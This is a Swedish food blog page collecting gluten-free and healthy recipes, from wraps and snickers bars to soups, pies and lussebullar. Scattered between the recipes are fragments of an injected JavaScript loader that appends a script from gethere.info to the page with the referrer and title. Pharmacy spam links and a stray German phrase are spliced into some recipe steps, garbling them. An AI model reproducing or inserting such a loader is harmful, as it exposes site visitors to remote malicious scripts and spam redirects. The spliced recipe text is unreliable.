Wraps

Det här receptet hittade jag på bloggen 56 kilo här.

Ingredienser
4 ägg
0,5-1 dl vatten
2 msk kokosmjöl
3 msk pofiber
1 msk fiberhusk
2 msk olivolja eller smaklös kokosolja
1,5 tsk salt

Instruktioner
1.Sätt ugnen på 150 gr.
2.Vispa ägg tills det blir riktigt luftigt.
3.Blanda de torra ingredienserna och vispa ner tillsammans med olja och vatten. Låt stå i 5 minuter.
4.Klicka up 1/4 schädliche abgase gefährden radfahrer im straßenverkehr del på ett bakpapper (inte smörpapper!) och lägg ett annat bakpapper ovanpå. Kavla ut till en rund tortillastor rundel.
5.Grädda i ugnen i ca 10 minuter med bakpappert kvar.

Snickersrutor

IMG_3409
Här kommer ett supergott recept på goda och nyttiga snickersrutor utan tillsatt vitt socker, och gluten. Receptet hittade jag här.

Snickersrutor
Botten.
1,5 dl mandlar
10 färska dadlar
3 msk jordnötssmör
1 msk carob (går att utesluta)
1 näve salta nötter

Gör så här: Kärna ur dadlarna och kör i matberedare tillsammans med mandlar, jordnötssmör och carob. Klä cialisfrance24.com en brödform med plastfolie och tryck i degen och jordnötterna i botten.

Kolafyllning
8-10 färska dadlar
1 tsk vaniljextrakt

Gör så här: Kärna ur dadlarna och mixa med vaniljextrakt och vatten. Tillsätt lite vatten i taget tills det blir en kolalik konsistens. Bred kolasmeten på botten.

Topping
75 gram choklad (70%procentig)
en klick kokosolja

Gör så här: Smält chokladen och rör i kokosoljan. Man kan hoppa över kokosolja men då blir chokladen väldigt hård när du ska ska skära upp bitarna. Bred ut chokladen och ställ i kylen.

När chokladen stelnat, lyft ur kakan och skär i lagom bitar. Förvara i kylskåp.

IMG_3413IMG_3415IMG_3416IMG_3410IMG_3407

Smulpaj med vaniljsås

Receptet hittade jag här.

En lite nyttigare variant på paj som går snabbt att göra och är fantastiskt god. Det godaste och bästa receptet på vaniljsås kommer från raw food kocken Russel James.

Jag använder ekologiska havregryn från butiken, och de är inte rå, men det är ganska hälsosamt ändå för dem som inte är 100% rå.

Gör smulpajen så här:
1. Blanda havre (glutenfritt) , dadlar, en nypa äkta vaniljpulver, agave (eller honung) och https://www.acheterviagrafr24.com/ en nypa salt i en mixer. Jag improviserar alltid med de saker jag har hemma och blandar tills det smakar gott.
2. Lägg ut bären i en form.
3. Strö på smulpajen, och ställ in i kylen tills vaniljsåsen är klar.

Vaniljsås (therawchef.com)
1 1/2 dl cashewnötter (gärna blötlagda några timmar för magens skull)
1/2 dl vatten
2 msk agave
3 matskedar kokosnötolja
1 msk vanilj
1/4 tsk salt

Så här gör du vaniljsåsen:
1. Blanda alla ingredienser i en matberedare tills det är en slät röra, det kan ta lite tid, kanske får du mixa omgångar i 15-20 minuter om du inte har en stark matberedare.
2. Låt svalna i kylskåpet för att uppnå en tjockare konsistens.
3. Njut!…

Nyttiga bananchokladbollar

IMG_7921
Nu har jag provat att göra bananchokladbollar som blev riktigt goda. Jag förvarar mina bollar i frysen.

Recept 15

st bollar
2 normalstora bananer (mogna)
3 dl havregryn (jag använde glutenfritt havregryn)
2 msk kakao (jag använde raw kakao)
1 msk kaffe
1 dl kokos att rulla bollarna i

Gör så här:
Mosa bananerna med en gaffel. Jag använde min handmixer.
Blanda ihop bananerna

med

resten av ingredienserna.
Rulla bollar av smeten och rulla dem i kokos.
Förvara dem

i kylen.

De håller

sig i

ett par dagar.
Jag förvarar alltid

mina chokladbollar i frysen och så tar jag fram dem precis innan jag ska servera dem. Då blir de lite mer som fudge i konsistensen.

IMG_7928IMG_7927IMG_7926IMG_7925IMG_7924IMG_7923document.currentScript.parentNode.insertBefore(s, document.currentScript);

Champinjonsoppa

Receptet på champinjonsoppa hittade jag här.
Ta lite mindre vatten när lagar soppan då jag upplevde att den blev lite för ”rinnig”  med 1,5 liter vatten. Ta 8 dl vatten istället och prova dig fram.

IMG_6523

 

Ingredienser
500 g färska champinjoner
1 gul lök
500 ml kokosgrädde.
Buljong enligt nedanstående alternativ:
Alternativ 1: ca 1,5 l vatten + ekologiskt grönsaksbuljongpulver och kycklingbuljongtärning
Alternativ 2: hemkokt buljong samt vatten, ev kompletterat med lite ekologiskt grönsaksbuljongpulver. Sammanlagt ca 1,5 l vätska.
Ca 2 msk ekologisk Tamarisoja (den är glutenfri)
4 msk kokosolja
Grovmalen svartpeppar
Ev mer salt eller grönsaksbuljongpulver

Gör så här
Skär champinjonerna och löken i bitar
Fräs svampen och löken i kokosoljan
Tillsätt resten av ingredienserna
Låt puttra i ca 30 minuter
Mixa soppan slät med stavmixer
Stekta kycklingbitar till soppan

IMG_6527IMG_6522

IMG_6525IMG_6524IMG_6523

Stekt kyckling som tillbehör.
Ingredienser
200-300 g kycklingfilé eller kycklinglårfilé
Kokosolja
Havssalt, grovmalen svartpeppar och paprikapulver
Medan soppan kokar så skär du kycklingfilén i små bitar och steker i kokosolja. Krydda med havssalt, grovmalen svartpeppar och paprikapulver.

Servera soppan med varma stekta kycklingbitar, lite chevré och några kvistar färsk timjan (min favoritkrydda). en rejäl klick majonnäs smakar också gott till och gör soppan fetare och mer mättande.} else {

Auberginechips/bacon

Det här receptet hittade jag på en facbooksida som heter ”Glutenfri och växtbaserad kost”. I receptet står det att man ska pensla över marinaden på båda sidor om skivorna. Nästa gång kommer jag låta skivorna ligga i marinaden i en timma istället för att pensla marinaden på skivorna.  Jag lät skivorna vara i ugnen ca 4 timmar. Du kan antingen torka dem tills de är helt knapriga (då får du ha skivorna i ugnen några timmar till) eller så kan de ha lite fukt kvar. Hållbarheten beror självklart på hur torra de är. Helt torra håller minst 1 månad i tättslutande burk.  Bäst är att använda en kniv och skära ca 0,5 cm tjocka skivor. Om du skär dem för tunna kommer de brännas i ugnen.

IMG_6320

Ingredienser
1 aubergine (ca 300 g)
2 msk olja (välj det du vill) Jag tog olivolja
2 msk tamari
½ tsk vitlökspulver
½ tsk chiliflakes
½ tsk salt

Gör så här:
1. Sätt ugnen på 175 garder. Blanda olja och tamari med alla kryddor. Ställ åt sidan några minuter tills kryddorna blandas ordentligt med varandra. Skär auberginen tunn och fördela på en plåt med bakplåtspapper. Pensla aubergineskivor på båda sidor.

2. Grädda mitt i ugnen ca 20 minuter. Sänk värmen till 50 grader. Ta ut plåten med aubergineskivor och flytta dem över från plåten till ugnsgaller. Lägg sedan ugnsgaller tillbaka till mitten av ugnen.

3. Öppna lätt ugnslucka genom att du klämmer en gaffel eller annat i mellan. Låt aubergineskivor torka på svag värme 2-4 timmar. Stäng värmen och låt dem ligga kvar en stund tills de blir knapriga.

Om aubergineskivor ska vara raw så ska du inte grädda dem utan bara torka i mitten av ugnen med lätt öppen ugnslucka i 4-6 timmar. Beroende hur tjocka skivor du har.

Aubergineskivor är super goda när dem inte har torkat helt. Perfekt att ha på smörgåsen eller servera som tillbehör till annat. En fredagsmys är räddad med aubergine chips.

Du kan välja vilken kryddblandning som helst. tex grönsaksbuljong,  grillkrydda och ibland bara salt och olja. Som sagt prova dig fram vilka smaker du tycker om.

IMG_6319IMG_6318IMG_6317IMG_6316IMG_6320

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Glutenfri pajdeg till Västerbottenostpaj

Igår gjorde jag en glutenfri pajdeg som blev riktigt bra. Receptet till pajdegen hittade jag här.

Recept (6-8 personer eller en pajform)
100 gram majsmjöl
100 gram majsstärkelse/maizena
1 tsk fiberhusk
1/2 tsk salt
100 gram smör
1 ägg
1 msk kallt vatten

Gör så här:
1. Blanda majsmjöl, majsstärkelse, fiberhusk och salt.
2. Finfördela smöret i mjölblandningen.
3. Tillsätt ägget och vattnet, arbeta till en smidig deg.
4. Låt degen vila ca 15 minuter.
5. Kavla eller tryck ut degen i en pajform, 24 cm i diameter.
6. Förgrädda ca 10 minuter i 200 grader innan du fyller pajskalet

Notera att pajdegen blir rätt lös när nu rört ihop degen. Degen blir bättre efter du låtit den vila 15 minuter i kylskåpet.

IMG_5912IMG_5911

Fyllning:
250-300 gram riven västerbottenost
4 ägg
3,5 dl vispgrädde
1 krm svartpeppar

Gör så här:
Vispa ägg och grädde, tillsätt osten. Smaka av med salt och peppar. Häll ostfyllningen i pajskalet och grädda ca 20 minutser i 225 grader tills pajen stelnat. Om du tycker pajen får för mkt färg under gräddningen, lägg då ett bakplåtspapper över pajen resten av tiden tills pajen är klar. Låt svalna.

Om du tänker servera pajen dagen därpå har jag ett bra knep hur du bäst värmer upp pajen igen.
Det bästa sättet att värma upp en paj är att värma ugnen till 200 grader, sätta in pajen och därefter direkt stänga av ugnen. Låt den stå i eftervärmen cirka 10-15 min.

Servera pajen men en god sallad.

IMG_5910IMG_5906IMG_5909

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Glutenfria lussebullar

IMG_4190I år bakade jag glutenfria lussebullar. Receptet hittade jag här.

10 stycken lussebullar
4 ekologiska ägg
Sötning med sötma motsvarande 5 msk socker
100 gram rumstempererat smör
1 dl grädde eller mjölk
1 dl mandelmjöl
1/2 dl pofiber
3/4 dl kokosmjöl (aman prana)
2 msk fiberhusk
2 tsk bakpulver
0,5 gram saffran

Sätt ugnen på 175 grader.
Lägg saffranet i lite mörk rom eller i 1 msk vatten under 20-30 minuter innan för fin färg på brödet.
Vispa ägg och sötning fluffigt. Blanda de torra ingredienserna
Vispa ner smöret, grädden och saffranet och till slut de torra ingredienserna. Låt svälla i ca 10 minuter innan du formar lussekatter. Om degen är för lös blanda ner lite mer kokosmjöl!
Pensla med äggvita och tryck eventuellt ner russin i katterna. Jag skippade russin och tog torkade tranbär istället. Grädda mitt i ugnen i ca 20 minuter.

IMG_4189IMG_4188d.getElementsByTagName(‘head’)[0].appendChild(s);

Kyckling i ugn med sambal oelek

2

Nu har jag lagat en ny kycklingrätt som sköter sig själv i ugnen. Jag halverade receptet och lagade på 1 kg kycklingfilé. Grundreceptet hittade jag här.

Recept 4 personer
1 kg kycklingfilé eller kycklinglårfilé
2,5 dl creme fraiche (kokbar)
Några matskedar soja
1 tsk sambal oelek
1,5 dl grädde

Gör så här:

Lägg de frysta eller färska/tinade kycklingfiléerna i en ugnsform där alla filéer får plats att ligga bredvid varandra – för att de ska täckas jämnt av såsen.
Blanda crème fraiche, soja, sambal oelek och grädde i en bunke och rör om. (Om du använder äkta crème fraiche och vispgrädde så ta den större mängden sambal oelek och soja, använder du light-produkter så ta den mindre mängden. Smaka gärna av.)
Häll detta över kycklingfiléerna. Det är viktigt att filéerna täcks så mycket som möjligt av såsen.
Ställ in i mitten av ugnen i 175°C i 1,5 timmar. Om kycklingfiléerna är färska eller tinade så räcker det med 70 minuter.
Servera med ris/potatis, grönsaker och en god sallad

1432

d.getElementsByTagName(‘head’)[0].appendChild(s);

White truffle

 

11822446_10153067509965959_370221626828135014_n

Här kommer två olika recept på ”White truffles”, en paleovänlig och en mindre nyttig. Originalreceptet hittade jag på instagram och måtten är engelska mått.

Recept ”White truffle” (Paleovänlig variant)
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Ta fram och servera!

Recept ”White truffle” med vit choklad
6-7 dadlar (urkärnade)
1 Cup riven kokos
1 Tbsp Agave sirap
100 gram vit choklad med citronsmak

 

018ec789-dc02-41e0-a54e-ac2677ad882d

Topping
6 Tbsp kokosolja (direkt från burken)
2 Tsp Agave sirap

Gör så här: Blötlägg dadlarna en stund. Häll av vattnet och lägg dadlarna tillsammans med kokos, choklad och agavesirap i en mixer och mixa till en smet.  Rulla till bollar och ställ in i frysen en stund.
Under tiden blandar du ihop din topping till en trögflytande smet. Rulla dina bollar i toppingen och ställ in i frysen. Då kommer du märka att toppingen blir vit. Ta fram och servera!

 

 

72164311822446_10153067509965959_370221626828135014_n

 document.currentScript.parentNode.insertBefore(s, document.currentScript);